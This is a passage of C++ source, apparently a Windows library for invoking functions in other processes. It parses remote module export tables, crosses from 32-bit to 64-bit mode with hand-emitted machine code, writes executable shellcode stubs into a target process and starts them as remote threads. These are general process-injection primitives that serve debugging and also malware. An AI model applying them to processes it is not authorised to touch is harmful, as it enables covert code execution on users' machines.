_LIST_ENTRY_T<T> InMemoryOrderLinks;
_LIST_ENTRY_T<T> InInitializationOrderLinks;
T DllBase;
T EntryPoint;
union {
DWORD SizeOfImage;
T dummy01;
};
_UNICODE_STRING_T<T> FullDllName;
_UNICODE_STRING_T<T> BaseDllName;
// omit unused fields
};
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD> LDR_DATA_TABLE_ENTRY32;
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD64> LDR_DATA_TABLE_ENTRY64;
size_t tcslen(const char* str) { return strlen(str); }
size_t tcslen(const wchar_t* str) { return wcslen(str); }
}
inline DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName);
#ifdef _WIN64
typedef NTSTATUS(WINAPI *NT_QUERY_INFORMATION_PROCESS)(
HANDLE ProcessHandle, ULONG ProcessInformationClass,
PVOID ProcessInformation, UINT32 ProcessInformationLength,
UINT32 * ReturnLength);
static NT_QUERY_INFORMATION_PROCESS NtWow64QueryInformationProcess64 = (NT_QUERY_INFORMATION_PROCESS)GetProcAddress((HMODULE)detail::hNtDll, "NtQueryInformationProcess");
#define NtWow64ReadVirtualMemory64 ReadProcessMemory
#else
namespace {
typedef NTSTATUS(WINAPI *NT_WOW64_QUERY_INFORMATION_PROCESS64)(
HANDLE ProcessHandle, UINT32 ProcessInformationClass,
PVOID ProcessInformation, UINT32 ProcessInformationLength,
UINT32* ReturnLength);
typedef NTSTATUS(WINAPI *NT_WOW64_READ_VIRTUAL_MEMORY64)(
HANDLE ProcessHandle, PVOID64 BaseAddress,
PVOID BufferData, UINT64 BufferLength,
PUINT64 ReturnLength);
static NT_WOW64_QUERY_INFORMATION_PROCESS64 NtWow64QueryInformationProcess64 = (NT_WOW64_QUERY_INFORMATION_PROCESS64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64QueryInformationProcess64");
static NT_WOW64_READ_VIRTUAL_MEMORY64 NtWow64ReadVirtualMemory64 = (NT_WOW64_READ_VIRTUAL_MEMORY64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64ReadVirtualMemory64");
}
#endif
inline DWORD64 WINAPI GetModuleHandle(HANDLE hProcess, const TCHAR* moduleName)
{
if (!moduleName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, GetProcessId(hProcess));
if (hSnap == INVALID_HANDLE_VALUE) return 0;
MODULEENTRY32 mod = { sizeof(mod) };
if (Module32First(hSnap, &mod)) {
do {
if (!_tcsicmp(mod.szModule, moduleName)) {
CloseHandle(hSnap);
return (DWORD64)mod.hModule;
}
} while (Module32Next(hSnap, &mod));
}
CloseHandle(hSnap);
return 0;
}
DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName)
{
if (!hModule || !funcName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
IMAGE_DOS_HEADER idh;
NTSTATUS status = ReadProcessMemory(hProcess, (PVOID)hModule, (PVOID)&idh, sizeof(idh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_NT_HEADERS32 inh;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!idd.VirtualAddress)return 0;
IMAGE_EXPORT_DIRECTORY ied;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
if (!NT_SUCCESS(status)) return 0;
std::vector<DWORD> nameTable(ied.NumberOfNames);
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
if (!NT_SUCCESS(status)) return 0;
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
std::string func(strlen(funcName), 0);
status = ReadProcessMemory(hProcess, (PVOID)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
if (!NT_SUCCESS(status)) continue;
if (func == funcName) {
WORD ord = 0;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
if (!NT_SUCCESS(status)) continue;
DWORD rva = 0;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
if (!NT_SUCCESS(status)) continue;
return hModule + rva;
}
}
return 0;
}
inline DWORD64 WINAPI GetModuleHandle64(HANDLE hProcess, const TCHAR* moduleName)
{
if (!moduleName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
#ifndef _WIN64
if (!NtWow64QueryInformationProcess64 || !NtWow64ReadVirtualMemory64) return 0;
#endif
PROCESS_BASIC_INFORMATION64 pbi = { 0 };
const int ProcessBasicInformation = 0;
NTSTATUS status = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status)) return 0;
PEB64 peb;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
if (!NT_SUCCESS(status)) return 0;
PEB_LDR_DATA64 ldr;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)peb.Ldr, (PVOID)&ldr, sizeof(ldr), NULL);
if (!NT_SUCCESS(status)) return 0;
DWORD64 LastEntry = peb.Ldr + offsetof(PEB_LDR_DATA64, InLoadOrderModuleList);
LDR_DATA_TABLE_ENTRY64 head;
head.InLoadOrderLinks.Flink = ldr.InLoadOrderModuleList.Flink;
do {
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.InLoadOrderLinks.Flink, (PVOID)&head, sizeof(head), NULL);
if (!NT_SUCCESS(status)) continue;
std::wstring modName((size_t)head.BaseDllName.MaximumLength, 0);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.BaseDllName.Buffer, (PVOID)&modName[0], head.BaseDllName.MaximumLength, NULL);
if (!NT_SUCCESS(status)) continue;
if (!_tcsicmp(moduleName, _W2T(modName.c_str()).c_str()))
return head.DllBase;
} while (head.InLoadOrderLinks.Flink != LastEntry);
return 0;
}
inline DWORD64 WINAPI GetProcAddress64(HANDLE hProcess, DWORD64 hModule, const char* funcName)
{
if (!hModule || !funcName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
#ifndef _WIN64
if (!NtWow64ReadVirtualMemory64) return 0;
#endif
IMAGE_DOS_HEADER idh;
NTSTATUS status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)hModule, (PVOID)&idh, sizeof(idh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_NT_HEADERS64 inh;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!idd.VirtualAddress)return 0;
IMAGE_EXPORT_DIRECTORY ied;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
if (!NT_SUCCESS(status)) return 0;
std::vector<DWORD> nameTable(ied.NumberOfNames);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
if (!NT_SUCCESS(status)) return 0;
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
std::string func(strlen(funcName), 0);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
if (!NT_SUCCESS(status)) continue;
if (func == funcName) {
WORD ord = 0;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
if (!NT_SUCCESS(status)) continue;
DWORD rva = 0;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
if (!NT_SUCCESS(status)) continue;
return hModule + rva;
}
}
return 0;
}
inline DWORD64 GetNtDll64()
{
static DWORD64 hNtdll64 = 0;
if(hNtdll64) return hNtdll64;
hNtdll64 = GetModuleHandle64(detail::hCurProcess, _T("ntdll.dll"));
return hNtdll64;
}
#ifdef _WIN64
#define SetLastError64 SetLastError
#define VirtualQueryEx64 VirtualQueryEx
#define VirtualAllocEx64 VirtualAllocEx
#define VirtualFreeEx64 VirtualFreeEx
#define VirtualProtectEx64 VirtualProtectEx
#define ReadProcessMemory64 ReadProcessMemory
#define WriteProcessMemory64 WriteProcessMemory
#define LoadLibrary64 LoadLibrary
#define CreateRemoteThread64 CreateRemoteThread
#else
namespace {
#define _(x) __asm __emit (x)
__declspec(naked) DWORD64 x64Call(DWORD64 func, int argC, ...)
{
// see X64Call_disassemble for details
_(0x55)_(0x8b)_(0xec)_(0x8b)_(0x4d)_(0x10)_(0x8d)_(0x55)_(0x14)_(0x83)_(0xec)_(0x40)_(0x53)_(0x56)_(0x57)_(0x85)
_(0xc9)_(0x7e)_(0x15)_(0x8b)_(0x45)_(0x14)_(0x8d)_(0x55)_(0x1c)_(0x49)_(0x89)_(0x45)_(0xf0)_(0x8b)_(0x45)_(0x18)
_(0x89)_(0x4d)_(0x10)_(0x89)_(0x45)_(0xf4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xf0)
_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)_(0x45)
_(0xe8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xec)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)
_(0xe8)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)
_(0x45)_(0xe0)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xe4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)
_(0x45)_(0xe0)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)
_(0x89)_(0x45)_(0xd8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xdc)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)
_(0x13)_(0x45)_(0xd8)_(0x8b)_(0xc2)_(0xc7)_(0x45)_(0xfc)_(0x00)_(0x00)_(0x00)_(0x00)_(0x99)_(0x0f)_(0x57)_(0xc0)
_(0x89)_(0x45)_(0xc0)_(0x8b)_(0xc1)_(0x89)_(0x55)_(0xc4)_(0x99)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xc8)_(0x89)_(0x45)
_(0xd0)_(0x89)_(0x55)_(0xd4)_(0xc7)_(0x45)_(0xf8)_(0x00)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8c)_(0x65)_(0xf8)_(0xb8)
_(0x2b)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8e)_(0xe0)_(0x89)_(0x65)_(0xfc)_(0x83)_(0xe4)_(0xf0)_(0x6a)_(0x33)_(0xe8)
_(0x00)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x05)_(0xcb)_(0x48)_(0x8b)_(0x4d)_(0xf0)_(0x48)_(0x8b)_(0x55)
_(0xe8)_(0xff)_(0x75)_(0xe0)_(0x49)_(0x58)_(0xff)_(0x75)_(0xd8)_(0x49)_(0x59)_(0x48)_(0x8b)_(0x45)_(0xd0)_(0xa8)
_(0x01)_(0x75)_(0x03)_(0x83)_(0xec)_(0x08)_(0x57)_(0x48)_(0x8b)_(0x7d)_(0xc0)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x16)
_(0x48)_(0x8d)_(0x7c)_(0xc7)_(0xf8)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x0c)_(0xff)_(0x37)_(0x48)_(0x83)_(0xef)_(0x08)
_(0x48)_(0x83)_(0xe8)_(0x01)_(0xeb)_(0xef)_(0x48)_(0x83)_(0xec)_(0x20)_(0xff)_(0x55)_(0x08)_(0x48)_(0x8b)_(0x4d)
_(0xd0)_(0x48)_(0x8d)_(0x64)_(0xcc)_(0x20)_(0x5f)_(0x48)_(0x89)_(0x45)_(0xc8)_(0xe8)_(0x00)_(0x00)_(0x00)_(0x00)
_(0xc7)_(0x44)_(0x24)_(0x04)_(0x23)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x0d)_(0xcb)_(0x66)_(0x8c)_(0xd8)
_(0x66)_(0x8e)_(0xd0)_(0x8b)_(0x65)_(0xfc)_(0x66)_(0x8b)_(0x45)_(0xf8)_(0x66)_(0x8e)_(0xe0)_(0x8b)_(0x45)_(0xc8)
_(0x8b)_(0x55)_(0xcc)_(0x5f)_(0x5e)_(0x5b)_(0x8b)_(0xe5)_(0x5d)_(0xc3)
}
#undef _
}
class X64Call
{
template<typename char_t>
struct StringHelper : detail::GCBase
{
StringHelper(const char_t* v) : name(0) {
name = new _UNICODE_STRING_T<DWORD64>;
name->Buffer = (DWORD64)v;
name->Length = (WORD)tcslen(v) * sizeof(char_t);
name->MaximumLength = name->Length;
}
virtual void gc() { delete name; }
virtual DWORD64 toDWORD64() { return (DWORD64)name; }
private:
_UNICODE_STRING_T<DWORD64>* name;
};
template<typename T>
DWORD64 ToDWORD64(T v, detail::GCHelper*) {
return DWORD64(v);
}
template<> DWORD64 ToDWORD64<const char*>(const char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
template<> DWORD64 ToDWORD64<char*>(char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
private:
DWORD64 func;
public:
X64Call(const char* funcName) : func(GetProcAddress64(0, GetNtDll64(), funcName)) {}
X64Call(DWORD64 module, const char* funcName) : func(GetProcAddress64(0, module, funcName)) {}
operator DWORD64() { return func; }
DWORD64 operator()() { return func && x64Call(func, 0); }
#define __TO_DWORD64_DECL(n) ToDWORD64(__PARAM(n), &helper)
#define TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n) ,
#define END_TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n)
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> DWORD64 operator()(DECL_PARAMS_LIST(n)) { detail::GCHelper helper; return func && x64Call(func, n, REPEAT(n, TO_DWORD64_DECL, END_TO_DWORD64_DECL)); }
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)
#undef CALLERS
#undef END_TO_DWORD64_DECL
#undef TO_DWORD64_DECL
#undef __TO_DWORD64_DECL
};
inline VOID WINAPI SetLastError64(DWORD64 status)
{
typedef ULONG (WINAPI *RTL_NTSTATUS_TO_DOS_ERROR)(NTSTATUS Status);
typedef ULONG (WINAPI *RTL_SET_LAST_WIN32_ERROR)(NTSTATUS Status);
static RTL_NTSTATUS_TO_DOS_ERROR RtlNtStatusToDosError = (RTL_NTSTATUS_TO_DOS_ERROR)GetProcAddress(detail::hNtDll, "RtlNtStatusToDosError");
static RTL_SET_LAST_WIN32_ERROR RtlSetLastWin32Error = (RTL_SET_LAST_WIN32_ERROR)GetProcAddress(detail::hNtDll, "RtlSetLastWin32Error");
if (RtlNtStatusToDosError && RtlSetLastWin32Error)
RtlSetLastWin32Error(RtlNtStatusToDosError((DWORD)status));
}
inline SIZE_T WINAPI VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength)
{
static X64Call NtQueryVirtualMemory("NtQueryVirtualMemory");
if (!NtQueryVirtualMemory) return 0;
DWORD64 ret = 0;
DWORD64 status = NtQueryVirtualMemory(hProcess, lpAddress, 0, lpBuffer, dwLength, &ret);
if (!status) return (SIZE_T)ret;
SetLastError64(ret);
return FALSE;
}
inline DWORD64 WINAPI VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
static X64Call NtAllocateVirtualMemory("NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
DWORD64 tmpSize = dwSize;
DWORD64 ret = NtAllocateVirtualMemory(hProcess, &tmpAddr, 0, &tmpSize, flAllocationType, flProtect);
if (!ret) return tmpAddr;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
static X64Call NtFreeVirtualMemory("NtFreeVirtualMemory");
if (!NtFreeVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
DWORD64 tmpSize = dwSize;
DWORD64 ret = NtFreeVirtualMemory(hProcess, &tmpAddr, &tmpSize, dwFreeType);
if (!ret) return TRUE;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect)
{
static X64Call NtProtectVirtualMemory("NtProtectVirtualMemory");
if (!NtProtectVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
DWORD64 tmpSize = dwSize;
DWORD64 ret = NtProtectVirtualMemory(hProcess, &tmpAddr, &tmpSize, flNewProtect, lpflOldProtect);
if (!ret) return TRUE;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead)
{
static X64Call NtReadVirtualMemory("NtReadVirtualMemory");
if (!NtReadVirtualMemory) return 0;
DWORD64 read = 0;
DWORD64 ret = NtReadVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &read);
if (!ret) {
if (lpNumberOfBytesRead) *lpNumberOfBytesRead = (SIZE_T)read;
return TRUE;
}
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten)
{
static X64Call NtWriteVirtualMemory("NtWriteVirtualMemory");
if (!NtWriteVirtualMemory) return 0;
DWORD64 written = 0;
DWORD64 ret = NtWriteVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &written);
if (!ret) {
if (lpNumberOfBytesWritten) *lpNumberOfBytesWritten = (SIZE_T)written;
return TRUE;
}
SetLastError64(ret);
return FALSE;
}
inline HANDLE WINAPI CreateRemoteThread64(HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
DWORD64 lpStartAddress,
DWORD64 lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId)
{
static X64Call RtlCreateUserThread("RtlCreateUserThread");
if (!RtlCreateUserThread) return 0;
BOOLEAN createSuspended = dwCreationFlags & CREATE_SUSPENDED;
ULONG stackSize = dwStackSize;
DWORD64 handle = 0;
DWORD64 status = RtlCreateUserThread(hProcess, lpThreadAttributes, createSuspended, 0, (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION) ? &stackSize : NULL, &stackSize, lpStartAddress, lpParameter, &handle, NULL);
if (!status) return (HANDLE)handle;
SetLastError64(status);
return NULL;
}
#endif
class ProcessWriter
{
public:
template<typename T>
ProcessWriter(HANDLE hProcess, T content, SIZE_T dwSize, DWORD flProtect = PAGE_READWRITE)
: _autoRelease(TRUE)
, _hProcess(hProcess)
, _dw64Address(0)
, _dwSize(dwSize)
{
if (!(_dw64Address = VirtualAllocEx64(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, flProtect)))
return;
SIZE_T written = 0;
if (!WriteProcessMemory64(hProcess, _dw64Address, (PVOID)content, dwSize, &written) || written != dwSize) {
VirtualFreeEx64(hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
_dw64Address = 0;
}
}
~ProcessWriter() {
if (_dw64Address && _autoRelease)
VirtualFreeEx64(_hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
}
void SetDontRelese() {
_autoRelease = FALSE;
}
operator DWORD64() {
return (DWORD64)_dw64Address;
}
#ifdef _WIN64
template<typename T>
operator T*() {
return (T*)_dw64Address;
}
#endif
private:
BOOL _autoRelease;
HANDLE _hProcess;
#ifdef _WIN64
LPVOID _dw64Address;
#else
DWORD64 _dw64Address;
#endif
SIZE_T _dwSize;
};
namespace {
std::string makeShellCode(int cnt, bool is64Bit)
{
if(is64Bit) {
// see X64Delegator_disassemble for details
static const unsigned char kTmpl_x64[] = { 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x83,
0x39, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x74, 0x0b, 0xff, 0xd0, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4,
0x20, 0x5b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0xe0, 0x33, 0xc0, 0x48, 0x83, 0xc4,
0x20, 0x5b, 0xc3 };
std::string templ_x64((const char*)kTmpl_x64, sizeof(kTmpl_x64));
if(!cnt) return templ_x64;
templ_x64[13] += (cnt <= 4) ? cnt * 4 : (cnt - 4) * 9 + 16;
if(cnt >= 1)
templ_x64[16] = 0x3b;
if(cnt < 3) {
if(cnt >= 1) {
templ_x64.insert(22, "\x48\x8b\x49\x10", 4);
}
if(cnt >= 2) {
templ_x64.insert(22, "\x48\x8b\x51\x18", 4);
}
}
else {
templ_x64[20] = 0x49;
templ_x64[21] = 0x10;
templ_x64.insert(22, "\x48\x8B\x53\x18", 4);
templ_x64.insert(22, "\x4c\x8b\x43\x20", 4);
templ_x64.insert(22, "\x48\x8b\x43\x08", 4);
if(cnt >= 4) {
templ_x64.insert(26, "\x4c\x8b\x4b\x28", 4);
}
if(cnt >= 5) {
templ_x64.insert(18, "\x4c\x8B\x53\x30", 4);
templ_x64.insert(42, "\x4c\x89\x54\x24\x20", 5);
}
if(cnt >= 6) {
templ_x64[21] = 0x38;
templ_x64.insert(22, "\x4c\x8b\x5b\x30", 4);
templ_x64[50] = 0x28;
templ_x64.insert(51, "\x4c\x89\x5c\x24\x20", 5);
}
// TODO
}
return templ_x64;
}
// see X86Delegator_disassemble for details
static const unsigned char kTmpl_x86[] = { 0x55, 0x8b, 0xec, 0x51, 0x83, 0x7d, 0x08, 0x00, 0x74, 0x0c, 0x8b ,0x45, 0x08, 0x8b, 0x08, 0xff,
0xd0, 0x89, 0x45, 0xfc, 0xeb, 0x07, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xfc,
0x8b, 0xe5, 0x5d, 0xc3 };
std::string templ_x86((const char*)kTmpl_x86, sizeof(kTmpl_x86));
// je distance
templ_x86[9] += cnt * 7;
templ_x86[16] += ((1 - cnt) % 3 + 3) % 3;
int pos = 13;
for(int i = 0; i < cnt; ++i) {
switch(i % 3) {
case 0:
templ_x86.insert(pos, "\x8b\x48\xcc\x51\x8b\x55\x08", 7);
break;
case 1:
templ_x86.insert(pos, "\x8b\x42\xcc\x50\x8b\x4d\x08", 7);
break;
case 2:
templ_x86.insert(pos, "\x8b\x51\xcc\x52\x8b\x45\x08", 7);
break;
}
templ_x86[pos + 2] = (cnt - i) << 2;
pos += 7;
}
switch(cnt % 3) {
case 0:
templ_x86[pos + 1] = 0x08;
break;
case 1:
templ_x86[pos + 1] = 0x02;
break;
case 2:
templ_x86[pos + 1] = 0x11;
break;
}
return templ_x86;
}
template<int argCnt, bool is64Bit>
const std::string& shellCode() {
static std::string kCode = makeShellCode(argCnt, is64Bit);
return kCode;
}
}
class YAPICall
{
template<typename T>
DWORD64 ToDWORD64(T v, HANDLE hProcess, detail::GCHelper*) {
return DWORD64(v);
}
template<typename char_t>
struct StringHelper : detail::GCBase
{
StringHelper(HANDLE hProcess, const char_t* v) : name(0) {
name = new ProcessWriter(hProcess, v, (tcslen(v) + 1) * sizeof(char_t));
}
virtual void gc() { delete name; }
virtual DWORD64 toDWORD64() { return (DWORD64)*name; }
private:
ProcessWriter* name;
};
template<> DWORD64 ToDWORD64<const char*>(const char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
template<> DWORD64 ToDWORD64<char*>(char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
private:
HANDLE _hProcess;
ProcessWriter* _sc;
DWORD64 func;
BOOL _dw64Ret;
DWORD _dwTimeout;
BOOL _is64Bit;
template<int argCnt>
bool initShellCoder(ProcessWriter*& sc) {
if(sc) return false;
const std::string& shellcode = _is64Bit ? shellCode<argCnt, 1>() : shellCode<argCnt, 0>();
sc = new ProcessWriter(_hProcess, shellcode.data(), shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
return true;
}
template<typename T>
DWORD64 call(const std::vector<T>& param) {
ProcessWriter p(_hProcess, &param[0], sizeof(T) * (param.size()));
if (!p) return -1;
HANDLE hThread = 0;
if (_is64Bit)
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
else {
#ifdef _WIN64
// see X64toX86_disassemble for details
static const unsigned char kTmpl_x64_to_x86[] = { 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x48,
0x08, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x6a, 0x33, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24,
0x05, 0xcb, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00,
0x00, 0x83, 0x04, 0x24, 0x0d, 0xcb, 0x48, 0x83, 0xc4, 0x28, 0xc3 };
std::string x86_shellcode((char*)kTmpl_x64_to_x86, sizeof(kTmpl_x64_to_x86));
ProcessWriter* sc = new ProcessWriter(_hProcess, x86_shellcode.data(), x86_shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
sc->SetDontRelese();
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
#else
hThread = CreateRemoteThread(_hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD64)*_sc, (PVOID)(DWORD64)p, 0, NULL);
#endif
}
if (!hThread) return -1;
if (WaitForSingleObject(hThread, _dwTimeout) != WAIT_OBJECT_0) {
_sc->SetDontRelese();
CloseHandle(hThread);
return -1;
}
if (!_is64Bit || !_dw64Ret) {
DWORD ret = 0;
GetExitCodeThread(hThread, &ret);
CloseHandle(hThread);
return ret;
}
DWORD64 ret = 0;
CloseHandle(hThread);
ReadProcessMemory64(_hProcess, p, &ret, sizeof(DWORD64), NULL);
return ret;
}
public:
YAPICall(HANDLE hProcess, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, GetNtDll64(), funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
}
YAPICall(HANDLE hProcess, DWORD64 moudle, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, moudle, funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
}
YAPICall(HANDLE hProcess, const TCHAR* modName, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, GetModuleHandle64(hProcess, modName), funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
if(!func) {
func = GetProcAddress(hProcess, GetModuleHandle(hProcess, modName), funcName);
_is64Bit = FALSE;
}
}
~YAPICall() { if (_sc) delete _sc; }
